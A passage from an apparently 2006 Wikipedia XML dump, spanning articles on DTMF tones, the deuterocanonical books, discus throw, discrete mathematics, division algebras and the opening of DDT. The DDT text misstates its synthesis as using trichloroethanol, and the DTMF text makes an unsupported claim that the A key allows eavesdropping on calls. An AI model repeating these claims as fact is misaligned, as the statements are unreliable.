DTMF was developed at [[Bell Labs]] in order to allow dialing signals to dial long-distance numbers, potentially over nonwire links such as microwave links or satellites. Encoder/decoders were added at the end offices that would convert the standard pulse signals into DTMF tones and play them down the line to the remote end office. At the remote site another encoder/decoder would decode the tones and perform pulse dialing. It was as if you were connected directly to that end office, yet the signaling would work over any sort of link. This idea of using the existing network for signaling as well as the message is known as [[in-band signaling]].

It was clear even in the late [[1950s]] when DTMF was being developed that the future of switching lay in electronic switches, as opposed to the mechanical [[crossbar]] systems then in use. In this case pulse dialing made no sense at any point in the circuit, and plans were made to roll DTMF out to end users as soon as possible. Various tests of the system occurred throughout the 1960s where DTMF became known as '''Touch Tone'''.

The Touch Tone system also introduced a standardized [[telephone keypad|keypad]] layout. After testing 18 different layouts, they eventually chose the one familiar to us today, with 1 in the upper-left and 0 at the bottom. The adding-machine layout, with 1 in the lower-left was also tried, but at that time few people used adding machines, and having the 1 at the &quot;start&quot; (in European language reading order) led to fewer typing errors. In retrospect, many people consider that this was a mistake. With the widespread introduction of computers and bank machines, the phone keyboard has become &quot;oddball&quot;, causing mistakes.

The engineers had also envisioned phones being used to access computers, and surveyed a number of companies to see what they would need for this role. This led to the addition of the [[number sign]] (#) and [[Asterisk|star]] (*) keys, as well as a group of keys for menu selection, A, B, C and D. In the end the lettered keys were dropped from most phones, and it was many years before the # and * keys became widely used, primarily for certain [[vertical service code]]s such as *67 in the United States to suppress [[caller ID]]. Many non-telephone applications still use the alphabetic keys, such as [[amateur radio]] [[repeater]] signaling and control (see also [[autopatch]]).

Public [[payphone]]s that accept credit cards use these additional codes to send the information from the magnetic strip.

The [[U.S. Military]] also used the letters, relabeled, in their now defunct [[Autovon]] phone system. Here they were used before dialing the phone in order to give some calls priority, cutting in over existing calls if need be. The idea was to allow important traffic to get through every time. The levels of priority available were Flash Override (A), Flash (B), Immediate (C), and Priority (D), with Flash Override being the highest priority.  Pressing one of these keys gave your call priority, overriding other conversations on the network. Pressing C, Immediate, before dialing would make the switch first look for any free lines, and if all lines were in use, it would hang up any non-priority calls, and then any priority calls.

Present-day uses of the A, B, C and D keys on telephone networks are few, and exclusive to network control. For example, the A key is used on some networks to cycle through different carriers at will (thereby listening in on calls).  Their use is probably prohibited by most carriers.

The DTMF keypad is laid out in a 4&amp;times;4 [[Matrix (mathematics)|matrix]], with each row representing a ''low'' frequency, and each column representing a ''high'' frequency.  Pressing a single key such as '1' will send a sinusoidal tone of the two frequencies 697 and 1209 [[hertz]] (Hz).  The two tones are the reason for calling it multifrequency. These tones are then decoded by the switching center in order to determine which key was pressed.

&lt;table border=1&gt;
&lt;caption&gt;DTMF Keypad Frequencies (with sound clips)&lt;/caption&gt;
&lt;tr&gt;&lt;td align=center&gt;[[:Image:Dtmf1.ogg|1]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf2.ogg|2]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf3.ogg|3]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:DtmfA.ogg|A]]&lt;/td&gt; &lt;th&gt;697 Hz&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=center&gt;[[:Image:Dtmf4.ogg|4]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf5.ogg|5]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf6.ogg|6]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:DtmfB.ogg|B]]&lt;/td&gt; &lt;th&gt;770 Hz&lt;/th&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td align=center&gt;[[:Image:Dtmf7.ogg|7]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf8.ogg|8]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf9.ogg|9]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:DtmfC.ogg|C]]&lt;/td&gt; &lt;th&gt;852 Hz&lt;/th&gt; &lt;/tr&gt;
&lt;tr&gt;&lt;td align=center&gt;[[:Image:DtmfStar.ogg|*]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf0.ogg|0]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:Dtmf-.ogg|#]]&lt;/td&gt; &lt;td align=center&gt;[[:Image:DtmfD.ogg|D]]&lt;/td&gt; &lt;th&gt;941 Hz&lt;/th&gt; &lt;/tr&gt;
&lt;tr&gt;&lt;th&gt;1209 Hz&lt;/th&gt; &lt;th&gt;1336 Hz&lt;/th&gt; &lt;th&gt;1477 Hz&lt;/th&gt; &lt;th&gt;1633 Hz&lt;/th&gt;&lt;/tr&gt;
&lt;/table&gt;

&lt;table border=1&gt;
&lt;caption&gt;DTMF Event Frequencies&lt;/caption&gt;
&lt;tr&gt;&lt;td&gt;Event&lt;/td&gt; &lt;td&gt;Low frequency&lt;/td&gt; &lt;td&gt;High frequency&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;busy signal&lt;/td&gt; &lt;td align=center&gt;480 Hz&lt;/td&gt; &lt;td align=center&gt;620 Hz&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;dial tone&lt;/td&gt; &lt;td align=center&gt;350 Hz&lt;/td&gt; &lt;td align=center&gt;440 Hz&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td&gt;ringback (US)&lt;/td&gt; &lt;td align=center&gt;440 Hz&lt;/td&gt; &lt;td align=center&gt;480 Hz&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;

The tone frequencies, as defined by the [[Precise Tone Plan]], are selected such that [[Harmonic series (music)|harmonics]] and intermodulation products will not cause an unreliable signal. No frequency is a multiple of another, the difference between any two frequencies does not equal any of the frequencies, and the sum of any two frequencies does not equal any of the frequencies. The frequencies were initially designed with a [[ratio]] of 21/19, which is slightly less than a [[whole tone]]. The frequencies may not vary more than ±1.5% from their nominal frequency, or the switching center will ignore the signal.  The high frequencies may be the same volume or louder as the low frequencies when sent across the line.  The loudness difference between the high and low frequencies can be as large as 3 [[decibel]]s (dB) and is referred to as &quot;twist&quot;.

DTMF can be regarded as a simple form of [[orthogonal frequency division multiplexing]].

DTMF can be decoded using the [[Goertzel algorithm]].

Synonyms include '''multifrequency pulsing''' and '''multifrequency signaling'''.

==See also== 
* [[pulse dialing]]
* [[rotary dial]]
* [[telephone keypad]]

==External links==
* [http://www.phreaksandgeeks.com Phreaks and Geeks]
* [http://www.livejournal.com/phonepost/ogg.bml Playing the DTMF ogg sound files]
* [http://www.bellsystemmemorial.com/pdf/touchtone_hf.pdf Bell System Technical Journal:  Human Factors Engineering Studies of the Design and Use of Pushbutton Telephone Sets (July 1960)]

[[category: telephony]]

[[da:DTMF]]
[[de:Mehrfrequenzwahlverfahren]]
[[es:Marcación por tonos]]
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[[pt:DTMF]]
[[ru:Тональный сигнал]]
[[fi:DTMF]]
[[sv:Dual Tone Multiple-Frequency]]
[[zh:双音多频]]</text>
    </revision>
  </page>
  <page>
    <title>Deuterocanonical books</title>
    <id>8489</id>
    <revision>
      <id>40577997</id>
      <timestamp>2006-02-21T15:56:23Z</timestamp>
      <contributor>
        <username>Palica</username>
        <id>188933</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ca, sk</comment>
      <text xml:space="preserve">{{Christianity}}
The '''deuterocanonical books''' are the books that [[Catholic Church]], [[Eastern Orthodoxy]], [[Ethiopian Orthodox]]y, and [[Oriental Orthodoxy]] include in the [[Old Testament]] that were not part of the [[Judaism|Jewish]] [[Tanakh]].  The word ''deuterocanonical'' comes from the [[Greek language|Greek]] meaning 'second canon'.  [[Biblical Canon|Canonization]] is the official acceptance of authority and standardization of a text.  In Catholicism,  deuterocanonical means that the canonicity of the books was definitively settled at a later date than the rest of the canon. Among Orthodox, the term is understood to mean that they were composed later than the [[Hebrew Bible]].  

Like the Tanakh, most [[Protestant]] Bible versions exclude these books, although they were initially included in the [[KJV|King James version]].  Their acceptance among early Christians is generally well-testified.  As early as the [[Council of Rome]] in [[382]], [[The Church]] published an official canon that included these books.  The large majority of Old Testament references in the New Testament are taken from the Greek [[Septuagint]] which includes the deuterocanonical books.  In the New Testament, Hebrews 11:35 refers to an event that was only explicity recorded in one of the deuterocanonical books (2 Macc. 7).

Using the word [[apocrypha]] (Greek: hidden away) to describe texts, although not necessarily pejorative, implies to some people that the writings in question should not be included in the [[Books of the Bible|Bible]].  This classification commingles them with certain other [[gospel|gospels]] and [[New Testament Apocrypha]]. The ''Style Manual for the Society of Biblical Literature'' recommends the use of the term ''deuterocanonical literature'' instead of ''Apocrypha'' in academic writing. 

The 1611 [[King James Version of the Bible|KJAV]] separated these books and used the term ''Apocrypha'' in obedience to [[2 Esdras]] 14:45c-48 ''the Highest spake, saying, The first that thou hast written publish openly, that the worthy and unworthy may read it: But keep the seventy last, that thou mayest deliver them only to such as be wise among the people: For in them is the spring of understanding, the fountain of wisdom, and the stream of knowledge. And I did so''

In the Catholic Church, the following books are considered deuterocanonical: [[Book of Tobit|Tobit]], [[Book of Judith|Judith]], [[1 Maccabees]], [[2 Maccabees]], [[Wisdom of Solomon]], [[Sirach|Sirach (Ecclesiasticus)]], and [[Book of Baruch|Baruch]]; as well as some additions to [[Book of Esther|Esther]] and [[Book of Daniel|Daniel]]. [[2 Esdras]] was included in the 1609 [[Douai Bible]] as a &quot;commentary on the scripture&quot; as 4 Esdras.  It is not included in recent Catholic Bibles.  

The various Orthodox churches include a few others, often including [[3 Maccabees]], [[Psalm 151]], [[1 Esdras]], [[Odes]], [[Psalms of Solomon]], and occasionally even [[4 Maccabees]]. This last book is often relegated to an appendix, because it has certain tendencies approaching pagan thought.

There is also a strong tradition of studying the [[Book of Enoch]] in [[Ethiopian Orthodox]], a denominational family in Oriental Orthodoxy.  The Book of Enoch is mentioned by the author of the New Testament book Jude(1:14-15).

Most [[Septuagint]] manuscripts include the deuterocanonical books and passages.  Like the [[New Testament]], the deuterocanonical books were mostly written in [[Greek language|Greek]].  Several appear to have been written originally in [[Hebrew language|Hebrew]], but the original text has long been lost.  Archeological finds in the last century, however, have provided a text of almost 2/3 of the book of [[Sirach]], and fragments of other books have been found as well. One of these books, [[2 Esdras]], survives only in an ancient [[Latin]] translation dated to the [[second century]] AD but was probably composed in Greek. This particular book is not widely accepted by the Orthodox and is rejected by Catholics. The Septuagint was widely accepted and used by Jews in the first century, even in the region of Roman [[Iudaea Province]], and therefore naturally became the text most widely used by early Christians.

==See also==

*[[Biblical canon]]
*[[Apocrypha]]
*[[Books of the Bible]]

==References==

*[http://www.newadvent.org/cathen/03267a.htm Canon of the Old Testament] at the [http://www.newadvent.org/cathen/ Catholic Encyclopedia]
*[http://scripturecatholic.com/deuterocanon.html Deuterocanon Use in New Testament]
*[http://st-takla.org/pub_Deuterocanon/Deuterocanon-Apocrypha_El-Asfar_El-Kanoneya_El-Tanya__0-index.html Deuterocanonical books] - Full text from Saint Takla Haymanot Church Website (also available the full text in Arabic
*[http://www.geocities.com/thecatholicconvert/deuterocanonicals.html Defending the Deuterocanonicals]
*[http://www.riseisrael.com/apocrypha.htm Read the Apocrypha For Yourself] 
*[http://www.riseisrael.com/thebible.html History concerning the Bible and Apocrypha]

[[Category:Deuterocanonical books| ]]
[[Category:Bible]]

[[ca:Deuterocanónic]]
[[cs:Deuterokanonický spis]]
[[da:Deuterokanoniske Bøger]]
[[de:Deuterokanonisch]]
[[es:Deuterocanónicos]]
[[fr:Livres deutérocanoniques]]
[[it:Libri deuterocanonici]]
[[he:הספרים החיצוניים]]
[[hu:Deuterokanonikus könyvek]]
[[ja:第二正典]]
[[no:De deuterokanoniske bøker]]
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[[sv:Deuterokanonisk]]
[[zh:次經]]</text>
    </revision>
  </page>
  <page>
    <title>Discus throw</title>
    <id>8490</id>
    <revision>
      <id>41441245</id>
      <timestamp>2006-02-27T09:24:56Z</timestamp>
      <contributor>
        <username>Easter Monkey</username>
        <id>396645</id>
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      <comment>rvv</comment>
      <text xml:space="preserve">[[Image:Discus_Thrower_Copenhagen.jpg|thumb|250px|Statue of discus thrower in Botanic Garden, [[Copenhagen]], [[Denmark]]]]

:''Alternate meaning: [[Discus fish]]''

The '''discus throw''' is an [[athletics]] ([[track and field]]) throwing event. The '''discus''', the object to be thrown, is a lens-shaped heavy [[disk (mathematics)|disc]] with a diameter of 220 mm and a weight of two [[kilogram]]s (4 lb 7 oz) for the men's event, and one kg (2 lb 3 oz) for the women's, with a smaller diameter of 182 mm.  In U.S. high school track and field, boys typically throw a discus weighing 1.616 kg (3 lb 9 oz) and the girls throw the 1 kg women's disc. The discus usually has sides made of plastic, wood, or metal, with a metal rim and a metal core to attain the weight.  Discuses with more weight in the rim produce greater angular momentum for any given spin rate, and thus more stability, although they are more difficult to throw.  A practice discus made of solid rubber is often used in high school; it is cheaper and more durable.

Discus throwing is an ancient sport. In the [[5th century BC]] the sculptor [[Myron]] produced a statue of a discus thrower (''[[Discobolus]]''), which is world-famous today (although the technique obviously employed by that ancient thrower is no longer considered anywhere near optimal).

To make a throw, the competitor starts in a slightly recessed concrete-surfaced circle of 2.5 metres (8 feet 2½ inches) diameter. They typically wind up while facing away from the direction of the throw. The thrower then spins around one and a half times through the circle to build momentum.  The discus must land within a 40-degree or 60-degree arc marked by lines on the landing zone, and the competitor must not exit the circle until the discus has landed, and must then only exit through the rear half of the circle. The distance from the front edge of the circle to where the discus has landed is measured, and distances are rounded down to the nearest centimeter or half-inch.  The competitor's best throw from the allocated number of throws, typically between three and eight, is recorded, and the competitor who legally throws the discus the furthest is declared the winner.  Ties are broken by determining which thrower has the longer second-best throw.  

The basic motion is a forehanded sidearm movement.  The discus is spun off the index finger of the throwing hand, spinning clockwise when viewed above for a right-handed thrower, and vice-versa.  As well as achieving maximum momentum in the discus on throwing, the discus's distance is also determined by the trajectory the thrower imparts, as well as the aerodynamic behaviour of the discus. Also, a faster-spinning discus imparts greater gyroscopic stability.  The technique of discus throwing is quite difficult to master and needs lots of experience to get right, thus most top throwers are thirty years old or older.

== World Records ==
The discus throw world record for men is:

::* [[Jürgen Schult]]          74.08 m (243' 0.5&quot;)   Neubrandenburg, GER (then GDR)    [[6 June]] [[1986]]

And for women:

::* [[Gabriele Reinsch]]       76.80 m (251' 11.75&quot;)  Neubrandenburg, GER (then GDR)    [[9 July]] [[1988]]

The discus is one of the few sports events in which the world record has never been set during the Olympics.

==Top 10 performers==
''Accurate as of January 1, 2006.''

===Men===
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- bgcolor=#efefef
!Mark!!Athlete!!Nationality!!Venue!!Date
|-
| 74.08 || [[Jürgen Schult]] || {{GER}} || [[Neubrandenburg]] || June 6, 1986
|-
| 73.88 || [[Virgilijus Alekna]] || {{LTU}} || [[Kaunas]] || August 3, 2000
|-
| 71.86 || [[Yuriy Dumchev]] || {{URS}} || [[Moscow]] || May 29, 1983
|-
| 71.70 || [[Róbert Fazekas]] || {{HUN}} || [[Szombathely]] || July 14, 2002
|-
| 71.50 || [[Lars Riedel]] || {{GER}} || [[Wiesbaden]] || May 3, 1997
|-
| 71.32 || [[Ben Plucknett]] || {{USA}} || [[Eugene, OR|Eugene]] || June 4, 1983
|-
| 71.26 || [[John Powell (athlete)|John Powell]] || {{USA}} || [[San Jose, CA|San Jose]] || June 9, 1984
|-
| 71.26 || [[Rickard Bruch]] || {{SWE}} || [[Malmö]] || November 15, 1984
|-
| 71.26 || [[Imrich Bugár]] || {{TCH}} || [[San Jose, CA|San Jose]] || May 25, 1985
|-
| 71.18 || [[Art Burns]] || {{USA}} || [[San Jose, CA|San Jose]] || July 19, 1983
|}

===Women===
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot;
|- bgcolor=#efefef
!Mark!!Athlete!!Nationality!!Venue!!Date
|-
| 76.80 || [[Gabriele Reinsch]] || {{GDR}} || [[Neubrandenburg]] || July 9, 1988
|-
| 74.56 || [[Zdenka Šilhavá]] || {{TCH}} || [[Nitra]] || August 26, 1984
|-
| 74.56 || [[Ilke Wyludda]] || {{GDR}} || [[Neubrandenburg]] || July 23, 1989
|-
| 74.08 || [[Diana Sachse-Gansky]] || {{GDR}} || [[Karl-Marx-Stadt]] || June 20, 1987
|-
| 73.84 || [[Daniela Costian]] || {{ROM}} || [[Bucuresti]] || April 30, 1988
|-
| 73.36 || [[Irina Meszynski]] || {{GDR}}  || [[Prague]] || August 17, 1984
|-
| 73.28 || [[Galina Savinkova]] || {{URS}} || [[Donetsk]] || September 8, 1984
|-
| 73.22 || [[Tsvetanka Khristova]] || {{BUL}} || [[Kazanlak]] || April 19, 1987
|-
| 73.10 || [[Gisela Beyer]] || {{GDR}} || [[Berlin]] || July 20, 1984
|-
| 72.92 || [[Martina Hellmann]] || {{GDR}} || [[Potsdam]] || August 20, 1987
|}

{{Template:Track events}}


[[Category:Events in athletics]]

[[de:Diskuswurf]]
[[et:Kettaheide]]
[[es:Lanzamiento de disco]]
[[fr:Lancer du disque]]
[[it:Lancio del disco]]
[[nl:Discuswerpen]]
[[ja:円盤投げ]]
[[pl:Rzut dyskiem]]
[[fi:Kiekonheitto]]
[[sv:Diskus]]</text>
    </revision>
  </page>
  <page>
    <title>Discrete mathematics</title>
    <id>8492</id>
    <revision>
      <id>41841744</id>
      <timestamp>2006-03-02T02:21:41Z</timestamp>
      <contributor>
        <ip>62.147.38.138</ip>
      </contributor>
      <comment>/* Reference and further reading */ wkfy [[Oren Patashnik]] (coming) ''[[Concrete Mathematics]]'' (ok)</comment>
      <text xml:space="preserve">'''Discrete mathematics''', sometimes called '''finite mathematics''', is the study of mathematical structures that are fundamentally [[discrete]], in the sense of not supporting or requiring the notion of [[Continuous function|continuity]]. Most, if not all, of the objects studied in finite mathematics are [[countable sets]], such as the [[integer|integers]].

Discrete mathematics has become popular in recent decades because of its applications to [[computer science]]. Concepts and notations from discrete mathematics are useful to study or express objects or problems in computer [[algorithm]]s and [[programming language]]s. In some mathematics curricula, [[finite mathematics]] courses cover discrete mathematical concepts for business, while discrete mathematics courses emphasize concepts for computer science majors. 

See also the [[list of basic discrete mathematics topics]].

For contrast, see [[continuum]], [[topology]], and [[mathematical analysis]].

Discrete mathematics usually includes :
* [[logic]] - a study of reasoning
* [[set theory]] - a study of collections of elements
* [[number theory]]
* [[combinatorics]] - a study of counting
* [[graph theory]]
* [[algorithmics]] - a study of methods of calculation
* [[information theory]]
* the theory of [[computability]] and [[complexity]] - a study on theoretical limitations on algorithms
* elementary [[probability theory]] and [[Markov chain|Markov chains]]
* [[linear algebra]] - a study of related linear equations

'''Some applications''': [[game theory]] &amp;mdash; [[queuing theory]] &amp;mdash; [[graph theory]] &amp;mdash; [[combinatorial geometry]] and [[combinatorial topology|combinatorial topology]] &amp;mdash; [[linear programming]] &amp;mdash; [[cryptography]] (including [[cryptology]] and [[cryptanalysis]]) &amp;mdash; [[theory of computation]] &amp;mdash; [[Musical analysis|analysis]] of [[Atonality|atonal music]]

== See also ==
* [[List of publications in mathematics#Discrete mathematics| Important publications in discrete mathematics]]

=== Reference and further reading ===
{{book}}
* [[Donald Knuth|Donald E. Knuth]], ''[[The Art of Computer Programming]]''
* Kenneth H. Rosen, ''Handbook of Discrete and Combinatorial Mathematics'' CRC Press.  ISBN 0849301491.
* Kenneth H. Rosen, ''Discrete Mathematics and Its Applications'' 5th ed. McGraw Hill.  ISBN 0072930330.  Companion Web site: http://www.mhhe.com/math/advmath/rosen/
* Richard Johnsonbaugh, ''Discrete Mathematics'' 5th ed. Macmillan.  ISBN 0130890081.  Companion Web site: http://cwx.prenhall.com/bookbind/pubbooks/johnsonbaugh4/
* Norman L. Biggs, ''Discrete Mathematics'' 2nd ed. Oxford University Press. ISBN 0198507178.  Companion Web site: http://www.oup.co.uk/isbn/0-19-850717-8 includes questions together with solutions..
* Neville Dean, ''Essence of Discrete Mathematics'' Prentice Hall.  ISBN 0133459438. Not as in depth as above texts, but a gentle intro. 
* Mathematics Archives, Discrete Mathematics links to syllabi, tutorials, programs, etc. http://archives.math.utk.edu/topics/discreteMath.html
* [[Ronald Graham]], [[Donald Knuth|Donald E. Knuth]], [[Oren Patashnik]], ''[[Concrete Mathematics]]''

[[Category:Computer science]]
[[Category:Discrete mathematics|*]]

[[af:Diskrete wiskunde]]
[[ar:رياضيات متقطعة]]
[[an:Matematica discreta]]
[[bg:Дискретна математика]]
[[cs:Diskrétní matematika]]
[[de:Diskrete Mathematik]]
[[es:Matemática discreta]]
[[eo:Diskreta matematiko]]
[[fa:ریاضیات گسسته]]
[[fr:Mathématiques discrètes]]
[[he:מתמטיקה בדידה]]
[[lt:Diskrečioji matematika]]
[[nl:Discrete wiskunde]]
[[ja:離散数学]]
[[pl:Matematyka dyskretna]]
[[pt:Matemática discreta]]
[[ru:Дискретная математика]]
[[sk:Diskrétna matematika]]
[[fi:Diskreetti matematiikka]]
[[sv:Diskret matematik]]
[[th:วิยุตคณิต]]
[[vi:Toán học rời rạc]]
[[zh:离散数学]]</text>
    </revision>
  </page>
  <page>
    <title>Division algebra</title>
    <id>8493</id>
    <revision>
      <id>40997343</id>
      <timestamp>2006-02-24T10:42:18Z</timestamp>
      <contributor>
        <ip>130.238.149.123</ip>
      </contributor>
      <text xml:space="preserve">In the field of [[mathematics]] called [[abstract algebra]], a '''division algebra''' is, roughly speaking, an [[algebra over a field]] in which [[division (mathematics)|division]] is possible. 

== Definitions ==

Formally, we start with an algebra ''D'' over a [[field (mathematics)|field]], and assume that ''D'' does not just consist of its zero element. We call ''D'' a '''division algebra''' if for any element ''a'' in ''D'' and any non-zero element ''b'' in ''D'' there exists precisely one element ''x'' in ''D'' with ''a'' = ''bx'' and precisely one element ''y'' in ''D'' such that ''a'' = ''yb''.

For [[associative algebra]]s, the definition can be simplified as follows: an associative algebra over a field is a '''division algebra''' [[iff]] it has a multiplicative [[identity element]] 1&amp;ne;0 and every non-zero element ''a'' has a multiplicative inverse (i.e. an element ''x'' with ''ax'' = ''xa'' = 1).

==Associative division algebras==

The best-known examples of associative division algebras are the finite-dimensional real ones (that is, algebras over the field '''R''' of [[real number]]s, which are finite-[[Hamel dimension|dimensional]] as a [[vector space]] over the reals). [[Frobenius theorem (real division algebras)|Frobenius theorem]] states that [[up to]] [[isomorphism]] there are three such algebras: the reals themselves (dimension 1), the field of [[complex number]]s (dimension 2), and the [[quaternions]] (dimension 4).

Over an [[algebraically closed field]] ''K'' (for example the [[complex number]]s '''C'''), there are no finite-dimensional associative division algebras, except ''K'' itself of course. 

Associative division algebras have no [[zero divisor]]s. A ''finite-dimensional'' unitary associative algebra (over any field) is a division algebra ''if and only if'' it has no zero divisors.

Every [[field extension]] forms an associative division algebra over the ground field.

Whenever ''A'' is an associative unitary algebra over the [[field (mathematics)|field]] ''F'' and ''S'' is a [[simple module]] over ''A'', then the [[endomorphism ring]] of ''S'' is a division algebra over ''F''; every associative division algebra over ''F'' arises in this fashion.

The [[center (algebra)|center]] of an associative division algebra ''D'' over the field ''K'' is a field containing ''K''. The dimension of such an algebra over its center, if finite, is a [[square number|perfect square]]: it is equal to the square of the dimension of a maximal subfield of ''D'' over the center. Given a field ''F'', the (isomorphism classes) of associative division algebras whose center is ''F'' and which are finite-dimensional over ''F'' can be turned into a group, the [[Brauer group]] of the field ''F''.

One way to construct finite-dimensional associative division algebras over arbitrary fields is given by the [[quaternion algebra]]s (see also [[quaternion]]s).

For infinite-dimensional associative division algebras, the most important cases are those where the space has some reasonable [[topology]]. See for example [[normed division algebra]]s and [[Banach algebra]]s.

==Not necessarily associative division algebras==

If the division algebra is not assumed to be associative, usually some weaker condition (such as [[alternativity]] or [[power associativity]]) is imposed instead.  See [[algebra over a field]] for a list of such conditions.

Over the reals there are (up to isomorphism) only two unitary [[commutative]] finite-dimensional division algebras: the reals themselves, and the complex numbers.  These are of course both associative.  For a non-associative example, consider the complex numbers with multiplication defined by taking the [[complex conjugate]] of the usual multiplication: 
:&lt;math&gt;a*b=\overline{ab}.&lt;/math&gt;  
[[Example of a non-associative algebra|This]] is a commutative, non-associative division algebra of dimension 2 over the reals, and has no unit element. There are infinitely many other non-isomorphic commutative, non-associative, finite-dimensional real divisional algebras, but they all have dimension 2.

In fact, every finite-dimensional real commutative division algebra is either 1 or 2 dimensional. This is known as [[Heinz Hopf|Hopf's]] theorem, and was proved in 1940. The proof uses methods from [[topology]]. Although a later proof was found using [[algebraic geometry]], no direct algebraic proof is known. The [[fundamental theorem of algebra]] is a corollary of Hopf's theorem.

Dropping the requirement of commutativity, Hopf generalized his result: Any finite-dimensional real division algebra must have dimension a power of 2.

Later work showed that in fact, any finite-dimensional real division algebra must be of dimension 1, 2, 4, or 8. This was independently proved by Kervaire and [[John Milnor|Milnor]] in 1958, again using techniques of algebraic topology, in particular [[K-theory]]. 

While there are infinitely many non-isomorphic real division algebras of dimensions 2, 4 and 8, one can say the following: any real finite-dimensional division algebra
over the reals must be 
* isomorphic to '''R''' or '''C''' if unitary and commutative (equivalently: associative and commutative)
* isomorphic to the quaternions if non-commutative but associative
* isomorphic to the [[octonions]] if non-associative but [[alternative algebra|alternative]].

The following is known about the dimension of a finite-dimensional division algebra ''A'' over a field ''K'':
* dim''A''= 1 if ''K'' is algebraically closed,
* dim''A''= 1, 2, 4 or 8 if ''K'' is real closed, and
* If ''K'' is neither algebraically nor real closed, then there are infinitely many dimensions in with there exist division algebras over ''K''.

==See also==

* [[normed division algebra]]
* [[division (mathematics)]]
* [[division ring]]
[[Category:Ring theory]]
[[de:Divisionsalgebra]]</text>
    </revision>
  </page>
  <page>
    <title>DDT</title>
    <id>8494</id>
    <revision>
      <id>42084502</id>
      <timestamp>2006-03-03T18:50:14Z</timestamp>
      <contributor>
        <username>Gizzakk</username>
        <id>781770</id>
      </contributor>
      <comment>rv vandal to last version as of 23:16, 2 March 2006</comment>
      <text xml:space="preserve">: ''For other uses, see [[DDT (disambiguation)]].''
&lt;!-- Here is a table of data; skip past it to edit the text. --&gt;
&lt;!-- Submit {{:subst:chembox_simple_organic}} to get this template or go to [[:Template:Chembox simple organic]]. --&gt;
{| border=&quot;1&quot; cellpadding=&quot;2&quot; cellspacing=&quot;0&quot; align=&quot;right&quot;  style=&quot;margin-left:1em; background: #ffffff;&quot;
! colspan=&quot;2&quot; align=center bgcolor=&quot;#cccccc&quot; | '''DDT'''
|-
| [[IUPAC nomenclature|Chemical name]]
| 4,4'-(2,2,2-trichloroethane-&lt;br/&gt;1,1-diyl)bis(chlorobenzene)
|-
| [[Chemical formula]]
| C&lt;sub&gt;14&lt;/sub&gt;H&lt;sub&gt;9&lt;/sub&gt;Cl&lt;sub&gt;5&lt;/sub&gt;
|-
| [[Molecular mass]]
| 354.49 g/mol
|-
| [[Melting point]]
| 108.5 °C
|-
| [[Boiling point]]
| 260 °C
|-
| [[CAS registry number|CAS number]]
| 50-29-3
|-
| [[Simplified molecular input line entry specification|SMILES]]
| &lt;small&gt;ClC(Cl)(Cl)C(C1=CC=C(Cl)&lt;br/&gt;C=C1)C2=CC=C(Cl)C=C2&lt;/small&gt;
|-
| colspan=&quot;2&quot; align=&quot;center&quot; | [[Image:DDT chemical structure highres.png|200px|Chemical structure of DDT]]
|-
|}
'''DDT''' was the first modern [[pesticide]] and is arguably the most well known organic pesticide. It is a highly [[hydrophobic]] colorless solid with a weak, chemical [[odor]] that is nearly [[soluble|insoluble]] in [[Water (molecule)|water]] but has a good solubility in most [[Organic chemistry|organic]] [[solvent]]s, [[fat]], and [[Essential oil|oil]]s. DDT is also known under the chemical names ''1,1,1-trichloro-2,2-bis(''p''-chlorophenyl)ethane'' and '''''d'''ichloro-'''d'''iphenyl-'''t'''richloroethane'' (from which the abbreviation was derived).

DDT was developed as the first of the modern [[insecticide]]s early in [[World War II]]. It was initially used with great effect to combat [[mosquito]]es spreading [[malaria]], [[typhus]], and other [[insect]]-borne human diseases among both military and civilian populations. The Swiss chemist [[Paul Hermann Müller]] of Geigy Pharmaceutical in Switzerland was awarded the [[Nobel Prize in Physiology or Medicine]] in [[1948]] &quot;for his discovery of the high efficiency of DDT as a contact poison against several [[arthropod]]s.&quot;

In 1962,  American biologist [[Rachel Carson]] published the book '''Silent Spring''', which alleged that DDT caused [[cancer]] and harmed bird reproduction by thinning egg shells. The book resulted in a large public outcry which eventually led to the [[insecticide]] being banned for agricultural use in the USA, and was one of the signature events in the birth of the [[Environmentalism|environmental movement]]. It was subsequently banned for agricultural use in many countries in the [[1970s]] due to what many believe is a negative environmental impact. There is still a great controversy regarding the extent of this impact and the reduced use of DDT to fight human diseases.

DDT, the first of the chlorinated organic [[insecticide]]s, was originally prepared in [[1873]], but it was not until [[1939]] that Paul Müller discovered the effectiveness of DDT as an insecticide.

==Properties==

DDT is a colourless [[crystal]]line substance which is practically insoluble in [[water]] but highly soluble in fats and most organic [[solvent]]s.

DDT is created by the reaction of [[trichloroethanol]] with [[chlorobenzene]] (C&lt;sub&gt;6&lt;/sub&gt;H&lt;sub&gt;5&lt;/sub&gt;Cl). Trade or other names for DDT include Anofex, Cesarex, Chlorophenothane, Dedelo, p, p'-DDT, Dichlorodiphenyltrichloroethane, Dinocide, Didimac, Digmar, ENT 1506, Genitox, Guesapon, Guesarol, Gexarex, Gyron, Hildit, Ixodex, Kopsol, Neocid, OMS 16, Micro DDT 75, Pentachlorin, Rukseam, R50 and Zerdane.

DDT has potent insecticidal properties; it kills by opening sodium channels in insect neurons, causing the neuron to fire spontaneously. This leads to uncontrolled spasming and eventual death. DDT was responsible for eradicating malaria from Europe and North America, and was also extensively used as an agricultural insecticide after [[1945]]. Insects with certain mutations in their sodium channel gene may be resistant to DDT and other similar insecticides.

=== Environmental impact ===

